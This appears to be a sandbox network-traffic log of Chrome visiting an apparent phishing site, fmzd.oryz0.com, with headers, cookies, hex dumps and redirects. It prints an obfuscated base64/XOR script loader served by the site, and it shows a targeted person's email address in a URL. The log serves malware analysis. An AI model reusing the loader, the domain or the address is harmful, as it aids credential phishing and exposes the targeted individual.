2024-05-23 08:31:28 UTC	1421	OUT	POST /cbq0IetkuWlrtwBlXfolvJEvwJ4narxbsRdyPVXx7o HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive Content-Length: 1287 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary58WKx0pBnV6HAOHr Accept: / Origin: https://fmzd.oryz0.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://fmzd.oryz0.com/J4j5iUo/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InEzTUNFS3lIQjg3UGo2VmtvMEdMakE9PSIsInZhbHVlIjoiWEZEWGdhOE01S0VpVkM3SXNXZ2FRdm5jUGl2dnVTTGpXOWhYYkZwbCtpWW1paGpwNTBFYkJ3UTZlRjBxQkxuN1FSSVloZllBNXhldG1Bc0FLdTdEOEM1VjNvOTcvTHp1RUxzWnQxREVOeE5QeXB3bkFzaDUvKzFHNkkwTVAyR28iLCJtYWMiOiI5NTRjODRiNTA3NTA0ODNjZDAxNjE0YzA4ZTU5NmY5OTUxYzJmNTU4NWMyMWUyNmE4MzcyY2EzYjVhYjFkYzgwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InlhT3RiNUt2Q3U1WXJFZU9xTjNna2c9PSIsInZhbHVlIjoiODRNRVJrSUxtQmQrdEh2K0ZyMUZFdGxXSDg2MXN2MEZ4QmtxRjM3WVlVTTJSTTIraEFBNVlTMUpxM2hFbEgyVVJKQ1hwSjh6Wkc1N2ZrUFloc056NGt3MGFkNDRUQUdzcnBqcHN5QXBUR1BCOE9YbVcrbVk2VHp5Z01PTXVSQ3IiLCJtYWMiOiJmZGU3ODM4ZTYwYTM4YmE1MTYzZDAyYzQ3YjI4MzNlMzU1YWRjZDJiZGQ5YWMzYjRlMTFkYWU1NTk5MzA5ZTUxIiwidGFnIjoiIn0%3D
2024-05-23 08:31:28 UTC	1287	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 35 38 57 4b 78 30 70 42 6e 56 36 48 41 4f 48 72 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 0d 0a 0d 0a 30 2e 55 52 49 33 68 68 57 44 78 6c 51 78 71 66 57 48 50 33 59 59 6a 57 2d 49 54 32 63 5f 78 61 79 6a 61 68 57 39 61 58 31 6b 4e 51 74 35 4f 72 5a 73 43 42 73 50 42 47 5f 32 51 48 6d 30 5a 67 4d 43 64 42 32 48 78 36 37 5f 4e 6a 50 47 30 69 50 6e 78 65 67 69 51 77 49 64 49 70 51 4e 79 46 6f 4e 6a 57 35 6e 59 72 55 36 46 4a 72 38 71 58 50 36 33 6d 4a 75 79 48 37 64 48 43 4e 34 57 65 36 63 31 62 7a 54 74 65 44 70 4e 35 6d 71 32 4b 32 66 35 56 7a Data Ascii: ------WebKitFormBoundary58WKx0pBnV6HAOHrContent-Disposition: form-data; name="cf-turnstile-response"0.URI3hhWDxlQxqfWHP3YYjW-IT2c_xayjahW9aX1kNQt5OrZsCBsPBG_2QHm0ZgMCdB2Hx67_NjPG0iPnxegiQwIdIpQNyFoNjW5nYrU6FJr8qXP63mJuyH7dHCN4We6c1bzTteDpN5mq2K2f5Vz
2024-05-23 08:31:29 UTC	1003	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:29 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YwZhcidWMrmwBC%2F7Air%2BAHL6kZH5cK8ZKOsO%2FdEJBIeAf9WTyzRYS0DuhRgejQ0Z7lX%2FHV2e0UayKj78Hi2CcGw%2BE9Zik4355Qo1klw6h%2FxftpFviikXlzSzl7wWgg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IjFGdWttVUZIb1ppekVudkdIdmNPdFE9PSIsInZhbHVlIjoiK2xiQlRhVG9wcjAwZW5ObzQwdWNGQ1lqV2FVSFF0VktEQWpZQnJacmYrS2s4aHVNdjhaSDU1SkVST1lBTExRalBqU1E2eVNtdFpHNkVxaTY2akRPaFNOMk00Qy84SjZDaVhhQnZ0RVNqcFI2ekd1TWJVU0ptcHN0anE5aDEwZEMiLCJtYWMiOiIyMzFmMjg3YzI1NjY5N2NhNGQ1ZWNiNWQ2OGRmODk1NDNkOTA2Yjk4NGI1NWNlNjNjMzRiOTA4ZWJlNzkwMjNlIiwidGFnIjoiIn0%3D; expires=Thu, 23-May-2024 10:31:29 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-05-23 08:31:29 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 56 57 65 58 51 72 5a 30 74 44 5a 79 39 45 59 30 59 32 54 30 5a 69 63 55 5a 53 61 33 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 59 54 56 34 4e 6b 64 45 51 54 46 6d 4e 57 74 5a 54 6b 31 71 4b 31 6f 72 64 6e 4a 54 53 6a 49 72 64 44 6b 35 55 31 70 32 52 31 56 6d 55 47 49 76 61 31 64 68 55 6e 5a 59 65 47 46 4c 65 6e 6c 4f 4b 30 74 32 4e 43 39 46 59 6d 52 55 5a 6e 68 78 56 6d 46 56 4e 56 46 77 59 55 6b 72 56 48 70 7a 53 58 4a 68 56 46 4d 78 59 7a 63 77 56 55 63 31 65 6b 35 58 56 58 67 77 52 6e 46 46 4d 6b 68 4d 59 7a 64 5a 5a 45 74 4d 51 6c 4a 69 63 46 68 73 53 58 46 73 5a 44 51 7a 64 53 39 43 57 6c 4e 52 4e 54 56 44 53 55 31 4a 4f 58 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InVWeXQrZ0tDZy9EY0Y2T0ZicUZSa3c9PSIsInZhbHVlIjoiYTV4NkdEQTFmNWtZTk1qK1ordnJTSjIrdDk5U1p2R1VmUGIva1dhUnZYeGFLenlOK0t2NC9FYmRUZnhxVmFVNVFwYUkrVHpzSXJhVFMxYzcwVUc1ek5XVXgwRnFFMkhMYzdZZEtMQlJicFhsSXFsZDQzdS9CWlNRNTVDSU1JOXY
2024-05-23 08:31:29 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2024-05-23 08:31:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49772	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:29 UTC	1461	OUT	GET /J4j5iUo/ HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://fmzd.oryz0.com/J4j5iUo/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjFGdWttVUZIb1ppekVudkdIdmNPdFE9PSIsInZhbHVlIjoiK2xiQlRhVG9wcjAwZW5ObzQwdWNGQ1lqV2FVSFF0VktEQWpZQnJacmYrS2s4aHVNdjhaSDU1SkVST1lBTExRalBqU1E2eVNtdFpHNkVxaTY2akRPaFNOMk00Qy84SjZDaVhhQnZ0RVNqcFI2ekd1TWJVU0ptcHN0anE5aDEwZEMiLCJtYWMiOiIyMzFmMjg3YzI1NjY5N2NhNGQ1ZWNiNWQ2OGRmODk1NDNkOTA2Yjk4NGI1NWNlNjNjMzRiOTA4ZWJlNzkwMjNlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InVWeXQrZ0tDZy9EY0Y2T0ZicUZSa3c9PSIsInZhbHVlIjoiYTV4NkdEQTFmNWtZTk1qK1ordnJTSjIrdDk5U1p2R1VmUGIva1dhUnZYeGFLenlOK0t2NC9FYmRUZnhxVmFVNVFwYUkrVHpzSXJhVFMxYzcwVUc1ek5XVXgwRnFFMkhMYzdZZEtMQlJicFhsSXFsZDQzdS9CWlNRNTVDSU1JOXYiLCJtYWMiOiIyMGE1MTI4ZjNkNjQ0MDdkMDZkMzAzNDQ3ZjBlY2NmNGQwYmZiYWU3YzgwMDZiNzAzNTk4M2M4NGQ5YTQ3ZWE0IiwidGFnIjoiIn0%3D
2024-05-23 08:31:30 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X%2BkbEA9%2BixqBcpMuPk%2BesrqSLdq6msRGk3HwPZb6QaalTSrD0%2BkNLHisWtGKmbEtK2YNM6KPdj4cf9DvaFeffDRHVH%2BCEDKfj%2BOd%2FkV6TjgUnqzjO%2B90v64ubEpOxA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IlowL3lNdVIvZysxUEJPeEhVY3FFSGc9PSIsInZhbHVlIjoiQUNFQkJrTWJEVllLSkpUR29pSFpMeklnamRJK3IvSStWa2wraTVBaWRycXE4ekhlenliZmU5dU8vcDUwWGpLNTIvY0JFZEViZnl2ZUdtS0hlU1NteHdqaXhTZFZObVpsWVVYZzIwNUJlalJWaUczQnZsVlRhbHZUaTVrTkZjYnIiLCJtYWMiOiI2ZGViNTc2NTA5NzNlNTk5Njg2M2MxYWE5N2NiZDYwNjY5NGNhNzNjMTFmNWE0NDJhMWVmOWQ1ZGE4ZmMyYTE3IiwidGFnIjoiIn0%3D; expires=Thu, 23-May-2024 10:31:30 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-05-23 08:31:30 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 4e 4d 4e 48 5a 6e 57 48 67 35 65 6b 46 45 4d 6d 5a 43 52 6c 64 43 61 6d 4e 35 65 47 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 61 6d 70 77 64 6b 39 6b 4f 44 4e 4e 4e 46 4d 7a 59 6d 70 57 61 55 52 35 65 48 51 77 63 57 64 4a 4f 56 6c 4d 4e 79 73 32 51 56 56 69 4f 48 68 6d 5a 54 6c 6d 5a 31 70 4a 62 30 56 5a 64 46 49 77 4d 31 5a 51 54 54 4e 44 4d 6d 56 6b 65 47 46 4e 64 46 42 4a 56 47 4e 32 5a 30 73 77 62 56 6f 34 59 57 49 30 62 6a 4a 52 64 6d 6f 33 61 6a 64 74 55 44 67 30 52 55 5a 76 57 55 70 78 63 6a 4a 74 5a 31 4e 73 64 55 64 73 53 6b 4a 31 63 46 4e 30 4d 55 31 34 62 31 46 43 54 54 4e 76 54 44 4a 55 59 31 64 33 64 33 68 48 4c 32 73 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkNMNHZnWHg5ekFEMmZCRldCamN5eGc9PSIsInZhbHVlIjoiampwdk9kODNNNFMzYmpWaUR5eHQwcWdJOVlMNys2QVViOHhmZTlmZ1pJb0VZdFIwM1ZQTTNDMmVkeGFNdFBJVGN2Z0swbVo4YWI0bjJRdmo3ajdtUDg0RUZvWUpxcjJtZ1NsdUdsSkJ1cFN0MU14b1FCTTNvTDJUY1d3d3hHL2s
2024-05-23 08:31:30 UTC	1369	IN	Data Raw: 37 31 34 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 64 4a 49 47 70 7a 42 5a 50 6f 28 4f 55 68 42 62 4c 6d 6c 78 74 2c 20 41 75 49 62 61 6e 41 6c 6f 70 29 20 7b 0d 0a 6c 65 74 20 4a 7a 6c 63 63 75 4f 46 56 63 20 3d 20 27 27 3b 0d 0a 4f 55 68 42 62 4c 6d 6c 78 74 20 3d 20 61 74 6f 62 28 4f 55 68 42 62 4c 6d 6c 78 74 29 3b 0d 0a 6c 65 74 20 68 51 4b 54 6a 6f 4d 58 61 73 20 3d 20 41 75 49 62 61 6e 41 6c 6f 70 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 4f 55 68 42 62 4c 6d 6c 78 74 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 4a 7a 6c 63 63 75 4f 46 56 63 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 4f 55 68 42 62 4c 6d 6c 78 74 2e 63 68 61 72 43 6f Data Ascii: 714<script>function dJIGpzBZPo(OUhBbLmlxt, AuIbanAlop) {let JzlccuOFVc = '';OUhBbLmlxt = atob(OUhBbLmlxt);let hQKTjoMXas = AuIbanAlop.length;for (let i = 0; i < OUhBbLmlxt.length; i++) { JzlccuOFVc += String.fromCharCode(OUhBbLmlxt.charCo
2024-05-23 08:31:30 UTC	450	IN	Data Raw: 52 77 30 7a 54 54 73 79 41 53 59 42 63 42 78 68 45 54 38 68 66 56 67 59 51 68 68 6f 4b 47 63 5a 46 33 34 76 64 55 52 68 48 57 51 58 53 41 70 39 4c 69 52 45 49 6e 4a 6b 45 46 4e 37 61 69 67 2b 57 33 52 4f 59 47 56 4b 64 69 38 4a 5a 54 49 32 52 69 55 6d 50 6e 38 49 52 52 68 53 56 54 6c 70 61 6b 4e 32 4f 68 4e 74 4f 51 42 6c 44 77 49 35 41 52 55 64 49 6b 6c 6c 44 6d 6b 6b 46 6a 6f 2f 58 44 35 6b 55 68 4e 70 61 6b 4d 68 4f 68 73 68 42 69 38 64 4a 53 55 41 4e 79 63 63 4b 67 64 32 57 7a 73 76 42 58 5a 75 56 54 49 41 4e 6c 63 6d 50 55 30 36 50 42 59 6b 48 54 46 63 4a 32 51 54 4e 79 63 64 4b 77 67 31 56 6e 4a 48 61 58 5a 7a 56 57 55 55 56 54 6c 70 61 6b 4e 32 4f 68 4e 74 4f 51 42 6c 44 77 49 35 41 52 55 64 49 6b 6c 35 44 6e 52 71 44 53 4d 2f 47 57 77 53 56 54 6c Data Ascii: Rw0zTTsyASYBcBxhET8hfVgYQhhoKGcZF34vdURhHWQXSAp9LiREInJkEFN7aig+W3ROYGVKdi8JZTI2RiUmPn8IRRhSVTlpakN2OhNtOQBlDwI5ARUdIkllDmkkFjo/XD5kUhNpakMhOhshBi8dJSUANyccKgd2WzsvBXZuVTIANlcmPU06PBYkHTFcJ2QTNycdKwg1VnJHaXZzVWUUVTlpakN2OhNtOQBlDwI5ARUdIkl5DnRqDSM/GWwSVTl
2024-05-23 08:31:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49773	172.67.195.241	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:29 UTC	1103	OUT	GET /cbq0IetkuWlrtwBlXfolvJEvwJ4narxbsRdyPVXx7o HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjFGdWttVUZIb1ppekVudkdIdmNPdFE9PSIsInZhbHVlIjoiK2xiQlRhVG9wcjAwZW5ObzQwdWNGQ1lqV2FVSFF0VktEQWpZQnJacmYrS2s4aHVNdjhaSDU1SkVST1lBTExRalBqU1E2eVNtdFpHNkVxaTY2akRPaFNOMk00Qy84SjZDaVhhQnZ0RVNqcFI2ekd1TWJVU0ptcHN0anE5aDEwZEMiLCJtYWMiOiIyMzFmMjg3YzI1NjY5N2NhNGQ1ZWNiNWQ2OGRmODk1NDNkOTA2Yjk4NGI1NWNlNjNjMzRiOTA4ZWJlNzkwMjNlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InVWeXQrZ0tDZy9EY0Y2T0ZicUZSa3c9PSIsInZhbHVlIjoiYTV4NkdEQTFmNWtZTk1qK1ordnJTSjIrdDk5U1p2R1VmUGIva1dhUnZYeGFLenlOK0t2NC9FYmRUZnhxVmFVNVFwYUkrVHpzSXJhVFMxYzcwVUc1ek5XVXgwRnFFMkhMYzdZZEtMQlJicFhsSXFsZDQzdS9CWlNRNTVDSU1JOXYiLCJtYWMiOiIyMGE1MTI4ZjNkNjQ0MDdkMDZkMzAzNDQ3ZjBlY2NmNGQwYmZiYWU3YzgwMDZiNzAzNTk4M2M4NGQ5YTQ3ZWE0IiwidGFnIjoiIn0%3D
2024-05-23 08:31:30 UTC	575	IN	HTTP/1.1 404 Not Found Date: Thu, 23 May 2024 08:31:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1KL%2BjTQcCQeqyFmW0H67yfBYWE7G8sMYAyTgLIui51gBJMwB5K1mKaSozC3MpDcpEQZ4jIrqiLu42lDsrNLnqLrfX4yJhpbW0nUQ2iEauer8LCsXo7i6Uz8WfH4bNw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0a52f291982-EWR
2024-05-23 08:31:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49774	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:31 UTC	1464	OUT	GET /J4j5iUo/?VBana.tannhauser@servier.com HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://fmzd.oryz0.com/J4j5iUo/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlowL3lNdVIvZysxUEJPeEhVY3FFSGc9PSIsInZhbHVlIjoiQUNFQkJrTWJEVllLSkpUR29pSFpMeklnamRJK3IvSStWa2wraTVBaWRycXE4ekhlenliZmU5dU8vcDUwWGpLNTIvY0JFZEViZnl2ZUdtS0hlU1NteHdqaXhTZFZObVpsWVVYZzIwNUJlalJWaUczQnZsVlRhbHZUaTVrTkZjYnIiLCJtYWMiOiI2ZGViNTc2NTA5NzNlNTk5Njg2M2MxYWE5N2NiZDYwNjY5NGNhNzNjMTFmNWE0NDJhMWVmOWQ1ZGE4ZmMyYTE3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNMNHZnWHg5ekFEMmZCRldCamN5eGc9PSIsInZhbHVlIjoiampwdk9kODNNNFMzYmpWaUR5eHQwcWdJOVlMNys2QVViOHhmZTlmZ1pJb0VZdFIwM1ZQTTNDMmVkeGFNdFBJVGN2Z0swbVo4YWI0bjJRdmo3ajdtUDg0RUZvWUpxcjJtZ1NsdUdsSkJ1cFN0MU14b1FCTTNvTDJUY1d3d3hHL2siLCJtYWMiOiJiYzA1YzhmMmNhN2IwMjgwMTIxN2RiMGFmZGQwNDc2OGY5NTEyZDBjMzY4NDY4MDFkMjQ2NGU0NWFjYzRkN2I3IiwidGFnIjoiIn0%3D
2024-05-23 08:31:31 UTC	1156	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 08:31:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Location: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CCZ4%2Bj2EJN3LAaaqwDLDgLBEJoZY5n37JEDCMmgbXABqWgkT8XMkAq5e1WhU%2BocHmgHy96h81r43j6VBCUyrXkWUrY7hJvLPOm5BTfg%2BjOMVUVV7zZATtZJWo2SXmg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6InVMMlE2UnFmTVpEQksxRVoraE9TRVE9PSIsInZhbHVlIjoiVThsbHgrTHNqYmpGVTFQUjQyeXNlMFJGeU1JRE5GV2w4cDdDNDJUTW1BejZyeGRKQjZSNlN5YVI4STVDM0JLMDFqWHFSVHBwQTBKWkNQbGpFYWFBUnBxQmZKYmUvK2x3b0hHWlZka2RyMWZVV1M1WUZsaU9hQm5LQVEvT2xQK3UiLCJtYWMiOiI4NzY0Mzc3OWQ5OWMwYmFhODllZDhkNmFlNmY2N2VlZjAzNjcwMDRjZDFjY2ZkMjk2MzhkMWIxNTI3ZmZmOWJmIiwidGFnIjoiIn0%3D; expires=Thu, 23-May-2024 10:31:31 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-05-23 08:31:31 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 4a 31 4d 57 45 72 53 31 68 54 55 45 74 6e 55 55 68 69 61 45 68 54 4d 55 70 61 4c 31 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 57 6c 59 35 4d 45 52 6b 59 6c 41 34 62 45 64 6c 53 58 56 33 52 6d 68 6a 59 58 46 51 57 56 59 31 4f 45 4e 4d 63 33 68 52 4d 32 49 78 64 45 34 35 4e 56 42 31 54 6c 6c 49 63 6a 46 4f 4d 45 46 61 5a 57 45 32 53 31 4a 61 63 32 63 7a 55 44 56 55 51 33 4a 72 56 6c 68 4c 53 58 6b 33 4e 57 5a 49 5a 6b 64 78 64 7a 6c 76 64 32 77 76 53 6a 42 4a 53 32 39 45 57 46 52 4f 57 57 63 76 54 6d 31 72 64 6a 46 35 4e 54 6c 54 4d 6c 5a 42 5a 6e 59 79 56 45 35 4e 54 48 70 4a 5a 57 6c 50 56 48 46 32 4d 6c 42 6b 4d 6b 73 34 52 47 51 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjJ1MWErS1hTUEtnUUhiaEhTMUpaL1E9PSIsInZhbHVlIjoiWlY5MERkYlA4bEdlSXV3RmhjYXFQWVY1OENMc3hRM2IxdE45NVB1TllIcjFOMEFaZWE2S1Jac2czUDVUQ3JrVlhLSXk3NWZIZkdxdzlvd2wvSjBJS29EWFROWWcvTm1rdjF5NTlTMlZBZnYyVE5NTHpJZWlPVHF2MlBkMks4RGQ
2024-05-23 08:31:31 UTC	797	IN	Data Raw: 33 31 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 66 6d 7a 64 2e 6f 72 79 7a 30 2e 63 6f 6d 2f 39 39 32 31 38 38 32 35 33 35 39 37 36 36 31 36 35 37 35 31 37 32 36 36 35 4a 47 48 43 54 5a 57 4d 47 57 55 49 44 5a 44 3f 56 46 54 47 4a 55 44 47 43 50 4f 47 48 58 43 43 48 59 4f 4f 4a 4b 36 31 30 37 34 30 35 30 39 37 34 39 36 36 36 38 32 39 30 34 32 38 34 37 31 59 53 50 57 57 47 54 5a 4a 45 41 50 5a 5a 58 4d 4a 4b 5a 47 49 Data Ascii: 316<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGI
2024-05-23 08:31:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49775	35.190.80.1	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:31 UTC	529	OUT	OPTIONS /report/v4?s=1KL%2BjTQcCQeqyFmW0H67yfBYWE7G8sMYAyTgLIui51gBJMwB5K1mKaSozC3MpDcpEQZ4jIrqiLu42lDsrNLnqLrfX4yJhpbW0nUQ2iEauer8LCsXo7i6Uz8WfH4bNw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://fmzd.oryz0.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:31 UTC	336	IN	HTTP/1.1 200 OK content-length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 23 May 2024 08:31:31 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49776	35.190.80.1	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:31 UTC	472	OUT	POST /report/v4?s=1KL%2BjTQcCQeqyFmW0H67yfBYWE7G8sMYAyTgLIui51gBJMwB5K1mKaSozC3MpDcpEQZ4jIrqiLu42lDsrNLnqLrfX4yJhpbW0nUQ2iEauer8LCsXo7i6Uz8WfH4bNw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 428 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
